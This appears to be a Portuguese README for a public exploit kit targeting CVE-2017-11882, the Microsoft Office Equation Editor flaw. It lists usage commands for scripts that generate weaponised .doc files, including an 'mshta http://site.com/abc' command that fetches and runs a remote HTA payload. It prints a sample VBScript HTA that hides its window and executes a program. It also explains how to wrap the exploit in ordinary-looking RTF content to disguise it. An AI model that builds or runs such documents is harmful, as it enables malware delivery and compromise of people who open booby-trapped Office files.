
43b O script original vem de https://github.com/embedi/CVE-2017-11882
109b O script original vem de https://github.com/unamer/CVE-2017-11882/ (salve, agora o código do unamer já consegue executar shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Pesquisa: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Análise de patch: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Demonstração da exploração do PoC: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
use mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
O comando 43b não pode exceder 43 bytes, e o comando 109b não pode exceder 109 bytes.
A pasta example contém um arquivo .rtf que explora a vulnerabilidade CVE-2017-11882 e executa a calculadora no sistema.
Na verdade, a técnica para conteúdo personalizado também foi aprendida com outros mestres. Já tinha escrito isso como script há muito tempo. Originalmente não pretendia divulgar, mas como alguém no grupo já havia publicado, não tive escolha: tive que divulgar. Na verdade, o método é muito simples: basta abrir o documento rtf normal com um editor de texto, copiar todo o conteúdo antes de {*\datastore, substituir o conteúdo antes de {\object\objautlink\objupdate, e pronto. Portanto, colocar isso no script é muito simples.
Para adicionar conteúdo personalizado, escolha qualquer script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
O conteúdo personalizado está em input.rtf.
Sobre o mais recente script de exploit de 605 bytes do unamer, não vou atualizá-lo. Se tiver interesse, modifique por conta própria.